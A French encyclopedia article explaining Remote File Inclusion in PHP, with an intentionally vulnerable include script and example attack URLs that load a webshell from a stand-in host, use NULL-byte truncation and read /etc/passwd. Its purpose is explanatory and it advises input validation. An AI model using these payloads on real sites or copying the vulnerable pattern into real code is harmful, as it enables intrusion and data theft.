AccueilđŸ‡«đŸ‡·Chercher

Remote File Inclusion

Remote File Inclusion (RFI) est un type de vulnérabilité trouvé le plus souvent sur des sites web. Il permet à un attaquant d'inclure un fichier distant, généralement par le biais d'un script sur le serveur web. La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation adéquate. Elle peut conduire à :

Les langages de programmation

Les attaques RFI peuvent se produire avec n'importe quel langage de script (ASP, JSP, PHP...).

Exemple en PHP

En PHP, la cause principale est due Ă  l'utilisation de variables externes non validĂ©es tels que $_GET, $_POST, $_COOKIE avec une fonction liĂ©e Ă  un fichier. Les plus utilisĂ©s sont les fonctions d'include et de require. La plupart des vulnĂ©rabilitĂ©s peuvent ĂȘtre attribuĂ©es aux programmeurs dĂ©butants n'Ă©tant pas au courant de toutes les fonctionnalitĂ©s du langage de programmation PHP. Le langage PHP a une directive allow_url_fopen. Si elle est activĂ©e, elle permet aux fonctions de fichiers d'utiliser une URL qui leur permet de rĂ©cupĂ©rer des donnĂ©es Ă  partir d'emplacements distants. Un attaquant va modifier une variable qui est transmise Ă  l'une de ces fonctions pour l'amener Ă  inclure du code malveillant Ă  partir d'une ressource distante. Pour attĂ©nuer cette vulnĂ©rabilitĂ©, toutes les entrĂ©es utilisateur doivent ĂȘtre validĂ©es avant d'ĂȘtre utilisĂ©es.

Exemple

ConsidĂ©rons ce script PHP qui inclut un fichier spĂ©cifiĂ© par requĂȘte :

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   include( $color . '.php' );
?>
<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Le dĂ©veloppeur rend utilisable uniquement blue.php et red.php pour ĂȘtre utilisĂ© comme options. Mais comme tout le monde peut facilement insĂ©rer des valeurs arbitraires en couleur, il est possible d'injecter du code Ă  partir de fichiers :

  • /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injecte un fichier hĂ©bergĂ© Ă  distance contenant du code malveillant.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - ExĂ©cute le code Ă  partir d'un fichier dĂ©jĂ  tĂ©lĂ©chargĂ© appelĂ© exploit.php (vulnĂ©rabilitĂ© d'inclusion de fichiers en local)
  • /vulnerable.php?COLOR=C:\\notes.txt%00 - Par exemple en utilisant le caractĂšre mĂ©ta NULL pour enlever le suffixe php, permettant l'accĂšs Ă  des fichiers autres que php... (Avec magic_quotes_gpc activĂ©e, elle limite l'attaque par l'Ă©chappement des caractĂšres spĂ©ciaux, cela dĂ©sactive l'utilisation de la terminaison NULL)
  • /vulnerable.php?COLOR=/etc/passwd%00 - Permet Ă  un attaquant de lire le contenu du fichier passwd sur un systĂšme UNIX.
Cet article est issu de wikipedia. Text licence: CC BY-SA 4.0, Des conditions supplĂ©mentaires peuvent s’appliquer aux fichiers multimĂ©dias.